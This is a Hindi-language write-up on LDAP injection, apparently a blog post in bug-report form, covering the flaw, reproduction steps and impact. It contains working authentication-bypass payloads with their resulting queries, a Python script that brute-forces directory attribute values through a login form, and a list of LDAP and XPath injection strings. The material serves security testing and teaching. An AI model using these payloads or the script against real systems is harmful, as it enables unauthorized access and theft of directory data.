एलडीएपी इंजेक्शन
![](https://post.nghiatu.com/assets/images/m/max/724/1*qRpBSwRvlbQwo2VMk7Ix3A.png)
सारांश:
इस भेद्यता में डेटा लीक, अनधिकृत पहुंच और अन्य प्रमुख सुरक्षा समस्याएं पैदा करने की क्षमता है। उपयोगकर्ता डेटा और सिस्टम अखंडता की सुरक्षा के लिए, हम दृढ़ता से सलाह देते हैं कि इस समस्या पर तुरंत ध्यान दिया जाए और इसका समाधान किया जाए।
भेद्यता विवरण:
LDAP (लाइटवेट डायरेक्ट्री एक्सेस प्रोटोकॉल) इंजेक्शन एक कोड इंजेक्शन तकनीक है जो तब होती है जब अविश्वसनीय उपयोगकर्ता इनपुट को उचित स्वच्छता या सत्यापन के बिना LDAP क्वेरी में सीधे शामिल किया जाता है।
लक्ष्य एप्लिकेशन उपयोगकर्ता द्वारा आपूर्ति किए गए इनपुट को पर्याप्त रूप से मान्य करने में विफल रहा, जिससे संभावित LDAP इंजेक्शन भेद्यता हो गई।
एक हमलावर इस कमजोरी का उपयोग एलडीएपी प्रश्नों को बदलने, प्रमाणीकरण जांच से बचने, गोपनीय डेटा तक अनधिकृत पहुंच प्राप्त करने, या हानिकारक कार्य करने के लिए कर सकता है।
प्रभावित घटक:
एलडीएपी इंजेक्शन भेद्यता वेब एप्लिकेशन के प्रमाणीकरण मॉड्यूल को प्रभावित करती है, विशेष रूप से उपयोगकर्ता प्रमाण-पत्रों को संसाधित करने और एलडीएपी सर्वर के खिलाफ प्रमाणीकरण के लिए जिम्मेदार कोड।
प्रजनन के चरण:
- एप्लिकेशन के भीतर एक फ़ील्ड की पहचान करें जो एलडीएपी प्रश्नों के साथ इंटरैक्ट करता है।
- एलडीएपी मेटाचैकर युक्त एक दुर्भावनापूर्ण इनपुट तैयार करें, जैसे कोष्ठक, तारांकन, या बैकस्लैश।
- इनपुट जमा करें और आवेदन से प्रतिक्रिया का निरीक्षण करें।
- किसी भी अनपेक्षित व्यवहार, त्रुटि संदेश या असामान्य डेटा पुनर्प्राप्ति पर ध्यान दें।
- एप्लिकेशन उपयोगकर्ता को अपने उपयोगकर्ता नाम और पासवर्ड का उपयोग करके लॉग इन करने की अनुमति देता है।
- एप्लिकेशन उचित इनपुट सत्यापन के बिना प्रदान किए गए उपयोगकर्ता नाम का उपयोग करके एक एलडीएपी क्वेरी बनाता है।
- एक हमलावर उपयोगकर्ता नाम फ़ील्ड में निम्नलिखित इनपुट प्रदान करता है: ")(cn=))(|(uid=))(|(objectClass=*"
- परिणामी LDAP क्वेरी बन जाती है: "(&(cn=))(|(uid=))(|(objectClass=*))(userpassword=[प्रदत्त पासवर्ड])"
- हमलावर अनधिकृत पहुंच प्राप्त करता है और संभावित रूप से संवेदनशील जानकारी प्राप्त करता है या अन्य दुर्भावनापूर्ण कार्य करता है।
user=*
password=*
--> (&(user=*)(password=*))
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))
एलडीएपी ऑब्जेक्ट डिफ़ॉल्ट रूप से विभिन्न गुण प्रदान करते हैं जिनका उपयोग डेटा को संरक्षित करने के लिए किया जा सकता है। आप उन सभी को वह जानकारी प्राप्त करने के लिए क्रूर-मजबूर करने का प्रयास कर सकते हैं। यहां डिफ़ॉल्ट एलडीएपी विशेषताओं की एक सूची है ।
#!/usr/bin/python3
import requests
import string
from time import sleep
import sys
proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break
if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()
*
*)(&
*))%00
)(cn=))\x00
*()|%26'
*()|&'
*(|(mail=*))
*(|(objectclass=*))
*)(uid=*))(|(uid=*
*/*
*|
/
//
//*
@*
|
admin*
admin*)((|userpassword=*)
admin*)((|userPassword=*)
x' or name()='username' or 'x'='y
प्रभाव:
एक हमलावर एलडीएपी क्वेरी के प्रारूप को बदलने के लिए इस दोष का उपयोग कर सकता है और अपनी पसंद के किसी भी एलडीएपी कमांड को जारी कर सकता है।
एलडीएपी सेवा खाते से जुड़े अधिकारों के आधार पर परिणामों में निजी डेटा तक अनधिकृत पहुंच, डेटा हेरफेर या रिमोट कोड निष्पादन भी शामिल हो सकता है।
यदि इस भेद्यता का प्रभावी ढंग से दोहन किया जाता है, तो लक्षित एप्लिकेशन की सुरक्षा और गोपनीयता गंभीर रूप से खतरे में पड़ सकती है।
ट्विटर